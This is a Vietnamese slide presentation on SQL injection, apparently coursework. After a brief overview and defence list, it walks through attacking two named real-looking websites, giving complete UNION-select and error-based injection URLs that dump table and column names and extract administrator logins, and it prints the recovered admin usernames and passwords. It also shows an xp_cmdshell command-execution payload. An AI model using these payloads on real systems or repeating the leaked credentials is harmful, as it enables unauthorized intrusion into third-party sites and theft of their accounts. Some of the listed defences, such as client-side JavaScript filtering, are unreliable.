Authorization bypass• Với dạng tấn công này, tin tặc có thể dễ dàng vượt qua các trang đăng nhập nhờ vào lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu của ứng dụng web... Sử
Trang 2Tổng Quan
• SQL Injection là một kĩ thuật cho phép những kẻ tấn công thi hành các câu lệnh truy vấn SQL bất hợp pháp bằng cách lợi dụng lỗ hổng trong việc kiểm tra dữ liệu nhập từ các ứng dụng web
• Cho phép kẻ tấn công có toàn quyền, hiệu chỉnh trên cơ sở dữ liệu của ứng dụng.
• Lỗi này thường xảy ra trên các ứng dụng web có dữ liệu được quản lí bằng các hệ quản trị CSDL như SQL Server, Oracle, DB2, Sysbase
Trang 3Các dạng tấn công
• Có bốn dạng thông thường bao gồm:
1 Vượt qua kiểm tra lúc đăng nhập
Trang 4Authorization bypass
• Với dạng tấn công này, tin tặc có thể
dễ dàng vượt qua các trang đăng nhập nhờ vào lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu của ứng dụng web
Trang 5Sử dụng câu lện SELECT
• Dạng tấn công này phức tạp hơn Để thực hiện được kiểu tấn công này, kẻ tấn công phải có khả năng hiểu và lợi dụng các sơ hở trong các thông báo lỗi từ hệ thống để dò tìm các điểm yếu khởi đầu cho việc tấn công.
Trang 6Sử dụng câu lệnh INSERT
• Thông thường các ứng dụng web cho
phép người dùng đăng kí một tài khoản để tham gia
• Chức năng không thể thiếu là sau khi
đăng kí thành công, người dùng có thể
xem và hiệu chỉnh thông tin của mình
• SQL injection có thể được dùng khi hệ
thống không kiểm tra tính hợp lệ của
thông tin nhập vào
Trang 7• Việc tấn công bằng stored-procedures sẽ gây tác hại rất lớn nếu ứng dụng được
thực thi với quyền quản trị hệ thống 'sa'
• Ví dụ, nếu ta thay đoạn mã tiêm vào dạng: ' ; EXEC xp_cmdshell ‘cmd.exe dir C: ' Lúc này hệ thống sẽ thực hiện lệnh liệt kê thư mục trên ổ đĩa C:\ cài đặt server Việc phá hoại kiểu nào tuỳ thuộc vào câu lệnh đằng sau cmd.exe
Trang 8Cách phòng tránh
• Kiểm soát chặt chẽ dữ liệu nhập vào:
• Thiết lập cấu hình an toàn cho hệ quản trị
cơ sở dữ liệu
• Sử dụng Javascript để hiệu chỉnh các xâu người dùng nhập vào từ client
• Dùng thủ tục lưu trữ (store procedure)
• Tạo xâu truy vấn chuẩn trên server
• Dùng PHP một cách đơn giản
Trang 9Quy trình thực hiện
• Tìm kiếm mục tiêu
• Kiểm tra chỗ yếu của trang web
• Xác định tên của các column trong table
• Nhận output của câu query
• Nhận dữ liệu qua ‘database using ODBC
error message‘.
• Thu thập các dữ liệu quan trọng
• Thay đổi dữ liệu (Update/Insert) của
CSDL
Trang 11Mục đích
• Khai thác lỗi của 2 website này.
• Lấy được username, password của người quản trị.
Trang 12• Giao diện chính:
Trang 13Khai thác lỗi
• http://xaydungchuyennghiep.com/user/newsdetails.php?id=163'
Trang 14• http://xaydungchuyennghiep.com/user/newsdetails.php?id=163 order by [n]
Trang 15• http://xaydungchuyennghiep.com/user/newsdetails.php?id=163 union select
Trang 16
1,2,3,4,5,6,7,8,9,10,11,12,13 • http://xaydungchuyennghiep.com/user/newsdetails.php?id=-163 union select
Trang 17
1,2,3,4,5,6,7,8,9,10,11,12,13 • http://xaydungchuyennghiep.com/user/newsdetails.php?id=-163 union select
Trang 18
1,version(),3,4,5,6,7,8,9,10,11,12,13 • http://xaydungchuyennghiep.com/user/newsdetails.php?id=-163 union select
1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13 from
information_schema.tables where
Trang 19
table_schema=database() • http://xaydungchuyennghiep.com/user/newsdetails.php?id=-163 union select
1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13 from
information_schema.columns where
Trang 20
table_schema=database() • http://xaydungchuyennghiep.com/user/newsdetails.php?id=-163 union select
1,concat(username, 0x2f,
password),3,4,5,6,7,8,9,10,11,12,13 from admin
Trang 21Lấy username, password
• Lấy được tất cả username và password của những người quản trị
hệ thống.
• Thực hiện quá trình đăng nhập.
Trang 22• http://xaydungchuyennghiep.com/manager/loginadmin.php
Trang 23• Username: thang
• Password: Phat6
Trang 24• Giao diện chính:
Trang 25• http://remminhquan.com/index.asp?mod=mausp&idsp=62'
Trang 30• http://remminhquan.com/index.asp?
mod=mausp&idsp=62) and 1= convert(int,
(select top 1 column_name from
information_schema.columns where
table_name=('tblAdmins') and column_name not in ('id','UserFullName'))) sp_password
Trang 31• http://remminhquan.com/index.asp?
mod=mausp&idsp=62) and 1= convert(int,
(select top 1 column_name from
information_schema.columns where
table_name=('tblAdmins') and column_name not in ('id','UserFullName','UserName')))
sp_password
Trang 32• http://remminhquan.com/index.asp?
mod=mausp&idsp=62) and 1= convert(int,(select top 1 UserName from tblAdmins)) sp_password
Trang 33• http://remminhquan.com/index.asp?
mod=mausp&idsp=62) and 1= convert(int,(select top 1 Userpass from tblAdmins)) sp_password
Trang 34Lấy username, password
• Username: admin
• Password: 123